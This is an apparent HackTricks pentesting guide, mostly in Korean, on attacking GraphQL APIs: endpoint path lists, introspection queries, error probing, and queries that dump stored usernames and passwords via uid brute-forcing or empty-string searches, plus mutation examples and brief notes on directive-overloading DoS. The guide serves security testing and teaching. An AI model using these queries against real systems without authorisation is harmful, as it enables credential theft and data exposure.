GraphQL

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์†Œ๊ฐœ

GraphQL์€ REST API์— ๋Œ€ํ•œ ํšจ์œจ์ ์ธ ๋Œ€์•ˆ์œผ๋กœ ๊ฐ•์กฐ๋˜๋ฉฐ, ๋ฐฑ์—”๋“œ์—์„œ ๋ฐ์ดํ„ฐ๋ฅผ ์ฟผ๋ฆฌํ•˜๋Š” ๊ณผ์ •์„ ๋‹จ์ˆœํ™”ํ•ฉ๋‹ˆ๋‹ค. ์—ฌ๋Ÿฌ ์—”๋“œํฌ์ธํŠธ์— ๊ฑธ์ณ ๋งŽ์€ ์š”์ฒญ์„ ํ•ด์•ผ ํ•˜๋Š” REST์™€ ๋‹ฌ๋ฆฌ, GraphQL์€ ํ•„์š”ํ•œ ๋ชจ๋“  ์ •๋ณด๋ฅผ ํ•˜๋‚˜์˜ ์š”์ฒญ์œผ๋กœ ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ฐ„์†Œํ™”๋Š” ๋ฐ์ดํ„ฐ ํŽ˜์นญ ๊ณผ์ •์„ ๋‹จ์ˆœํ™”ํ•˜์—ฌ ๊ฐœ๋ฐœ์ž๋“ค์—๊ฒŒ ์ƒ๋‹นํ•œ ์ด์ ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

GraphQL์™€ ๋ณด์•ˆ

GraphQL์„ ํฌํ•จํ•œ ์ƒˆ๋กœ์šด ๊ธฐ์ˆ ์˜ ๋“ฑ์žฅ๊ณผ ํ•จ๊ป˜ ์ƒˆ๋กœ์šด ๋ณด์•ˆ ์ทจ์•ฝ์ ๋„ ๋‚˜ํƒ€๋‚ฉ๋‹ˆ๋‹ค. ์ค‘์š”ํ•œ ์ ์€ GraphQL does not include authentication mechanisms by default๋ผ๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ธ์ฆ ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ๊ตฌํ˜„ํ•˜๋Š” ๊ฒƒ์€ ๊ฐœ๋ฐœ์ž์˜ ์ฑ…์ž„์ž…๋‹ˆ๋‹ค. ์ ์ ˆํ•œ ์ธ์ฆ์ด ์—†์œผ๋ฉด GraphQL ์—”๋“œํฌ์ธํŠธ๊ฐ€ ์ธ์ฆ๋˜์ง€ ์•Š์€ ์‚ฌ์šฉ์ž์—๊ฒŒ ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ๋…ธ์ถœํ•  ์ˆ˜ ์žˆ์–ด ์‹ฌ๊ฐํ•œ ๋ณด์•ˆ ์œ„ํ—˜์„ ์ดˆ๋ž˜ํ•ฉ๋‹ˆ๋‹ค.

Directory Brute Force Attacks and GraphQL

๋…ธ์ถœ๋œ GraphQL ์ธ์Šคํ„ด์Šค๋ฅผ ์‹๋ณ„ํ•˜๊ธฐ ์œ„ํ•ด ๋””๋ ‰ํ„ฐ๋ฆฌ ๋ฌด์ž‘์œ„ ๋Œ€์ž… ๊ณต๊ฒฉ์— ๋‹ค์Œ ํŠน์ • ๊ฒฝ๋กœ๋“ค์„ ํฌํ•จ์‹œํ‚ค๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋ฉ๋‹ˆ๋‹ค. ์ด ๊ฒฝ๋กœ๋“ค์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  • /graphql
  • /graphiql
  • /graphql.php
  • /graphql/console
  • /api
  • /api/graphql
  • /graphql/api
  • /graphql/graphql

์˜คํ”ˆ๋œ GraphQL ์ธ์Šคํ„ด์Šค๋ฅผ ์‹๋ณ„ํ•˜๋ฉด ์ง€์›๋˜๋Š” ์ฟผ๋ฆฌ๋ฅผ ๊ฒ€์‚ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์—”๋“œํฌ์ธํŠธ๋ฅผ ํ†ตํ•ด ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ์ดํ•ดํ•˜๋Š” ๋ฐ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. GraphQL์˜ introspection ์‹œ์Šคํ…œ์€ ์Šคํ‚ค๋งˆ๊ฐ€ ์ง€์›ํ•˜๋Š” ์ฟผ๋ฆฌ๋ฅผ ์ž์„ธํžˆ ์•Œ๋ ค์ค๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ์€ GraphQL ๋ฌธ์„œ์˜ introspection์„ ์ฐธ์กฐํ•˜์„ธ์š”: GraphQL: A query language for APIs.

์ง€๋ฌธ

๋„๊ตฌ graphw00f๋Š” ์„œ๋ฒ„์—์„œ ์–ด๋–ค GraphQL ์—”์ง„์ด ์‚ฌ์šฉ๋˜๋Š”์ง€ ๊ฐ์ง€ํ•˜๊ณ  ๋ณด์•ˆ ๊ฐ์‚ฌ์ž์—๊ฒŒ ์œ ์šฉํ•œ ์ •๋ณด๋ฅผ ์ถœ๋ ฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋ฒ”์šฉ ์ฟผ๋ฆฌ

URL์ด GraphQL ์„œ๋น„์Šค์ธ์ง€ ํ™•์ธํ•˜๋ ค๋ฉด universal query, query{__typename}๋ฅผ ์ „์†กํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์‘๋‹ต์— {"data": {"__typename": "Query"}}๊ฐ€ ํฌํ•จ๋˜๋ฉด ํ•ด๋‹น URL์ด GraphQL ์—”๋“œํฌ์ธํŠธ์ž„์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ฐฉ๋ฒ•์€ ์ฟผ๋ฆฌ๋œ ๊ฐ์ฒด์˜ ํƒ€์ž…์„ ๋“œ๋Ÿฌ๋‚ด๋Š” GraphQL์˜ __typename ํ•„๋“œ์— ์˜์กดํ•ฉ๋‹ˆ๋‹ค.

query{__typename}

Basic Enumeration

Graphql์€ ์ผ๋ฐ˜์ ์œผ๋กœ GET, POST (x-www-form-urlencoded) ๋ฐ POST(json)์„ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค. ๋ณด์•ˆ์„ ์œ„ํ•ด CSRF ๊ณต๊ฒฉ์„ ๋ฐฉ์ง€ํ•˜๋ ค๋ฉด json๋งŒ ํ—ˆ์šฉํ•˜๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋ฉ๋‹ˆ๋‹ค.

Introspection

introspection์„ ์‚ฌ์šฉํ•ด schema ์ •๋ณด๋ฅผ ์ฐพ์œผ๋ ค๋ฉด __schema ํ•„๋“œ๋ฅผ ์ฟผ๋ฆฌํ•˜์„ธ์š”. ์ด ํ•„๋“œ๋Š” ๋ชจ๋“  queries์˜ root type์—์„œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

query={__schema{types{name,fields{name}}}}

์ด ์ฟผ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ์‚ฌ์šฉ ์ค‘์ธ ๋ชจ๋“  ํƒ€์ž…์˜ ์ด๋ฆ„์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

์ด ์ฟผ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ๋ชจ๋“  ํƒ€์ž…, ๊ทธ ํ•„๋“œ๋“ค, ๊ทธ๋ฆฌ๊ณ  ๊ทธ ์ธ์ž๋“ค(๋ฐ ์ธ์ž์˜ ํƒ€์ž…)์„ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ์–ด๋–ป๊ฒŒ ์ฟผ๋ฆฌํ• ์ง€ ์•„๋Š” ๋ฐ ๋งค์šฐ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.

์˜ค๋ฅ˜

์ด ์˜ค๋ฅ˜๋“ค์ด ํ‘œ์‹œ๋ ์ง€ ์•„๋Š” ๊ฒƒ์€ ํฅ๋ฏธ๋กญ์Šต๋‹ˆ๋‹ค. ์™œ๋ƒํ•˜๋ฉด ๊ทธ๊ฒƒ๋“ค์ด ์œ ์šฉํ•œ ์ •๋ณด๋ฅผ ์ œ๊ณตํ•˜๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

Introspection์„ ํ†ตํ•ด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์Šคํ‚ค๋งˆ ์—ด๊ฑฐํ•˜๊ธฐ

Tip

Introspection์ด ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๋Š”๋ฐ ์œ„ ์ฟผ๋ฆฌ๊ฐ€ ์‹คํ–‰๋˜์ง€ ์•Š๋Š”๋‹ค๋ฉด, ์ฟผ๋ฆฌ ๊ตฌ์กฐ์—์„œ onOperation, onFragment, onField ์ง€์‹œ์ž๋ฅผ ์ œ๊ฑฐํ•ด ๋ณด์„ธ์š”.

#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

์ธ๋ผ์ธ ์ธํŠธ๋กœ์ŠคํŽ™์…˜ ์ฟผ๋ฆฌ:

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

๋งˆ์ง€๋ง‰ ์ฝ”๋“œ ๋ผ์ธ์€ graphql ์ฟผ๋ฆฌ๋กœ, graphql์˜ ๋ชจ๋“  ๋ฉ”ํƒ€ ์ •๋ณด(๊ฐ์ฒด ์ด๋ฆ„, ๋งค๊ฐœ๋ณ€์ˆ˜, ํƒ€์ž… ๋“ฑ)๋ฅผ ๋คํ”„ํ•ฉ๋‹ˆ๋‹ค.

introspection์ด ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๋‹ค๋ฉด GUI์—์„œ ๋ชจ๋“  ์˜ต์…˜์„ ๋ณด๊ธฐ ์œ„ํ•ด GraphQL Voyager๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ฟผ๋ฆฌ

์ด์ œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์–ด๋–ค ์ข…๋ฅ˜์˜ ์ •๋ณด๊ฐ€ ์ €์žฅ๋˜์–ด ์žˆ๋Š”์ง€ ์•Œ์•˜์œผ๋‹ˆ, ์ผ๋ถ€ ๊ฐ’์„ ์ถ”์ถœํ•ด๋ณด์ž.

introspection์—์„œ ์ง์ ‘ ์ฟผ๋ฆฌํ•  ์ˆ˜ ์žˆ๋Š” ๊ฐ์ฒด๊ฐ€ ๋ฌด์—‡์ธ์ง€ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(๊ฐ์ฒด๊ฐ€ ์กด์žฌํ•œ๋‹ค๊ณ  ํ•ด์„œ ๋ฐ˜๋“œ์‹œ ์ฟผ๋ฆฌํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒƒ์€ ์•„๋‹ˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค). ๋‹ค์Œ ์ด๋ฏธ์ง€์—์„œ โ€œqueryTypeโ€œ๊ฐ€ โ€œQueryโ€œ๋ผ๊ณ  ๋ถˆ๋ฆฌ๋ฉฐ, โ€œQueryโ€ ๊ฐ์ฒด์˜ ํ•„๋“œ ์ค‘ ํ•˜๋‚˜๊ฐ€ โ€œflagsโ€œ์ด๊ณ  ์ด๋Š” ๋˜ํ•œ ๊ฐ์ฒด ํƒ€์ž…์ž„์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ flag ๊ฐ์ฒด๋ฅผ ์ฟผ๋ฆฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ฟผ๋ฆฌ โ€œflagsโ€œ์˜ ํƒ€์ž…์ด โ€œFlagsโ€œ์ž„์„ ์ฃผ์˜ํ•˜์„ธ์š”, ์ด ๊ฐ์ฒด๋Š” ์•„๋ž˜์™€ ๊ฐ™์ด ์ •์˜๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค:

โ€œFlagsโ€ ๊ฐ์ฒด๊ฐ€ name๊ณผ .value๋กœ ๊ตฌ์„ฑ๋˜์–ด ์žˆ์Œ์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋ฉด ๋‹ค์Œ ์ฟผ๋ฆฌ๋กœ ๋ชจ๋“  ํ”Œ๋ž˜๊ทธ์˜ ์ด๋ฆ„๊ณผ ๊ฐ’์„ ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

query={flags{name, value}}

๋‹ค์Œ ์˜ˆ์‹œ์ฒ˜๋Ÿผ ์ฟผ๋ฆฌํ•  ๊ฐ์ฒด๊ฐ€ primitive ํƒ€์ž…(์˜ˆ: string)์ธ ๊ฒฝ์šฐ

๋‹ค์Œ๊ณผ ๊ฐ™์ด ๊ฐ„๋‹จํžˆ ์ฟผ๋ฆฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

query = { hiddenFlags }

๋‹ค๋ฅธ ์˜ˆ์—์„œ โ€œQueryโ€ ํƒ€์ž… ๊ฐ์ฒด ์•ˆ์— 2๊ฐœ์˜ ๊ฐ์ฒด๊ฐ€ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค: โ€œuserโ€œ์™€ โ€œusersโ€.
์ด ๊ฐ์ฒด๋“ค์ด ๊ฒ€์ƒ‰์— ์•„๋ฌด ์ธ์ˆ˜๋ฅผ ํ•„์š”๋กœ ํ•˜์ง€ ์•Š๋Š”๋‹ค๋ฉด, ์›ํ•˜๋Š” ๋ฐ์ดํ„ฐ๋ฅผ ๊ทธ๋ƒฅ ์š”์ฒญํ•˜๋Š” ๊ฒƒ๋งŒ์œผ๋กœ ๋ชจ๋“  ์ •๋ณด๋ฅผ ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์ธํ„ฐ๋„ท ์˜ˆ์ œ์—์„œ๋Š” ์ €์žฅ๋œ ์‚ฌ์šฉ์ž ์ด๋ฆ„๊ณผ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค:

ํ•˜์ง€๋งŒ ์ด ์˜ˆ์ œ์—์„œ ๊ทธ๋ ‡๊ฒŒ ์‹œ๋„ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค:

์–ด๋–ค ์‹์œผ๋กœ๋“  Int ํƒ€์ž…์˜ โ€œuidโ€ ์ธ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•ด ๊ฒ€์ƒ‰ํ•˜๋Š” ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹ค.
์–ด์จŒ๋“  ์ด๋ฏธ Basic Enumeration ์„น์…˜์—์„œ ํ•„์š”ํ•œ ๋ชจ๋“  ์ •๋ณด๋ฅผ ๋ณด์—ฌ์ค€ ์ฟผ๋ฆฌ๊ฐ€ ์ œ์‹œ๋˜์—ˆ์Šต๋‹ˆ๋‹ค: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

์ œ๊ฐ€ ๊ทธ ์ฟผ๋ฆฌ๋ฅผ ์‹คํ–‰ํ–ˆ์„ ๋•Œ ์ œ๊ณต๋œ ์ด๋ฏธ์ง€๋ฅผ ๋ณด๋ฉด โ€œuserโ€œ๊ฐ€ Int ํƒ€์ž…์˜ ์ธ์ˆ˜ โ€œuidโ€œ๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ๋Š” ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ทธ๋ž˜์„œ ๊ฐ€๋ฒผ์šด uid bruteforce๋ฅผ ์ˆ˜ํ–‰ํ•œ ๊ฒฐ๊ณผ _uid=1_์—์„œ ์‚ฌ์šฉ์ž ์ด๋ฆ„๊ณผ ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ๋ฐ˜ํ™˜๋˜๋Š” ๊ฒƒ์„ ๋ฐœ๊ฒฌํ–ˆ์Šต๋‹ˆ๋‹ค:
query={user(uid:1){user,password}}

์—ฌ๊ธฐ์„œ ๋ฐœ๊ฒฌํ•œ ์ ์€ โ€œuserโ€œ์™€ โ€œpasswordโ€ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์š”์ฒญํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์กด์žฌํ•˜์ง€ ์•Š๋Š” ๊ฒƒ์„ ์š”์ฒญํ•˜๋ฉด (query={user(uid:1){noExists}}) ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค:

๊ทธ๋ฆฌ๊ณ  enumeration phase ๋™์•ˆ โ€œdbuserโ€ ๊ฐ์ฒด๊ฐ€ โ€œuserโ€œ์™€ โ€œpasswordโ€ ํ•„๋“œ๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ๋ฐœ๊ฒฌํ–ˆ์Šต๋‹ˆ๋‹ค.

Query string dump trick (thanks to @BinaryShadow_)

๋ฌธ์ž์—ด ํƒ€์ž…์œผ๋กœ ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ์˜ˆ๋ฅผ ๋“ค์–ด query={theusers(description: ""){username,password}}์ฒ˜๋Ÿผ ๋นˆ ๋ฌธ์ž์—ด๋กœ ๊ฒ€์ƒ‰ํ•˜๋ฉด ๋ชจ๋“  ๋ฐ์ดํ„ฐ๊ฐ€ ๋คํ”„๋ฉ๋‹ˆ๋‹ค. (์ฐธ๊ณ : ์ด ์˜ˆ์ œ๋Š” ํŠœํ† ๋ฆฌ์–ผ์˜ ์˜ˆ์ œ์™€ ๊ด€๋ จ์ด ์—†์œผ๋ฉฐ, ์ด ์˜ˆ์ œ์—์„œ๋Š” โ€œtheusersโ€œ๋ฅผ โ€œdescriptionโ€œ์ด๋ผ๋Š” String ํ•„๋“œ๋กœ ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ๋‹ค๊ณ  ๊ฐ€์ •ํ•ฉ๋‹ˆ๋‹ค).

๊ฒ€์ƒ‰

์ด ์„ค์ •์—์„œ database๋Š” persons์™€ movies๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. Persons๋Š” email๊ณผ name์œผ๋กœ ์‹๋ณ„๋˜๊ณ ; movies๋Š” name๊ณผ rating์œผ๋กœ ์‹๋ณ„๋ฉ๋‹ˆ๋‹ค. Persons๋Š” ์„œ๋กœ ์นœ๊ตฌ๊ฐ€ ๋  ์ˆ˜ ์žˆ๊ณ  ๋˜ํ•œ ์˜ํ™”๋“ค์„ ๊ฐ€์ง€๋ฉฐ, ์ด๋Š” ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋‚ด์˜ ๊ด€๊ณ„๋ฅผ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.

name์œผ๋กœ persons๋ฅผ ๊ฒ€์ƒ‰ํ•˜์—ฌ ๊ทธ๋“ค์˜ email์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

{
searchPerson(name: "John Doe") {
email
}
}

์ด๋ฆ„์œผ๋กœ ์‚ฌ๋žŒ๋“ค์„ ๊ฒ€์ƒ‰ํ•˜๊ณ  ๊ทธ๋“ค์ด ๊ตฌ๋…ํ•œ ์˜ํ™”๋“ค์„ ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}

์‚ฌ๋žŒ์˜ subscribedMovies์—์„œ name์„ ๊ฐ€์ ธ์˜ค๋„๋ก ํ‘œ์‹œ๋œ ๋ฐฉ๋ฒ•์„ ์ฃผ๋ชฉํ•˜์„ธ์š”.

๋™์‹œ์— ์—ฌ๋Ÿฌ ๊ฐ์ฒด๋ฅผ ๊ฒ€์ƒ‰ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ฒฝ์šฐ 2๊ฐœ์˜ ์˜ํ™”๋ฅผ ๊ฒ€์ƒ‰ํ•ฉ๋‹ˆ๋‹ค:

{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r

๋˜๋Š” ์‹ฌ์ง€์–ด ๋ณ„์นญ์„ ์‚ฌ์šฉํ•œ ์—ฌ๋Ÿฌ ๋‹ค๋ฅธ ๊ฐ์ฒด ๊ฐ„์˜ ๊ด€๊ณ„:

{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Mutations

Mutations๋Š” ์„œ๋ฒ„ ์ธก์—์„œ ๋ณ€๊ฒฝ์„ ๊ฐ€ํ•  ๋•Œ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.

introspection์—์„œ ์„ ์–ธ๋œ mutations๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ ์ด๋ฏธ์ง€์—์„œ โ€œMutationTypeโ€œ๋Š” โ€œMutationโ€œ์ด๋ผ๊ณ  ๋ถˆ๋ฆฌ๋ฉฐ, โ€œMutationโ€ ๊ฐ์ฒด๋Š” ํ•ด๋‹น ๊ฒฝ์šฐ์ฒ˜๋Ÿผ โ€œaddPersonโ€ ๊ฐ™์€ mutation๋“ค์˜ ์ด๋ฆ„์„ ํฌํ•จํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค:

์ด ์„ค์ •์—์„œ, database๋Š” persons์™€ movies๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. Persons๋Š” email๊ณผ name์œผ๋กœ ์‹๋ณ„๋˜๋ฉฐ; movies๋Š” name๊ณผ rating์œผ๋กœ ์‹๋ณ„๋ฉ๋‹ˆ๋‹ค. Persons๋Š” ์„œ๋กœ ์นœ๊ตฌ๊ฐ€ ๋  ์ˆ˜ ์žˆ๊ณ  ๋˜ํ•œ ์˜ํ™”๋ฅผ ๋ณด์œ ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋‚ด์˜ ๊ด€๊ณ„๋ฅผ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.

๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋‚ด๋ถ€์— ์ƒˆ๋กœ์šด ์˜ํ™”๋ฅผ ์ƒ์„ฑํ•˜๋Š” mutation์€ ๋‹ค์Œ๊ณผ ๊ฐ™์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(์ด ์˜ˆ์—์„œ mutation์€ addMovie๋ผ๊ณ  ๋ถˆ๋ฆฝ๋‹ˆ๋‹ค):

mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}

์ฟผ๋ฆฌ์—์„œ ๊ฐ’๊ณผ ๋ฐ์ดํ„ฐ ํƒ€์ž…์ด ๋ชจ๋‘ ํ‘œ์‹œ๋˜๋Š” ๋ฐฉ์‹์— ์ฃผ๋ชฉํ•˜์„ธ์š”.

๋˜ํ•œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋Š” mutation ์—ฐ์‚ฐ์ธ addPerson์„ ์ง€์›ํ•˜๋ฉฐ, ์ด๋ฅผ ํ†ตํ•ด ๊ธฐ์กด friends ๋ฐ movies์™€์˜ ์—ฐ๊ด€์„ ํฌํ•จํ•œ persons๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ค‘์š”ํ•œ ์ ์€ friends์™€ movies๋Š” ์ƒˆ๋กœ ์ƒ์„ฑ๋˜๋Š” person์— ์—ฐ๊ฒฐํ•˜๊ธฐ ์ „์— ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ๋ฏธ๋ฆฌ ์กด์žฌํ•ด์•ผ ํ•œ๋‹ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}

Directive Overloading

As explained in one of the vulns described in this report, a directive overloading implies to call of a directive even millions of times to make the server waste operations until itโ€™s possible to DoS it.

Batching brute-force in 1 API request

This information was take from [https://lab.wallarm.com/graphql-batching-attack/].
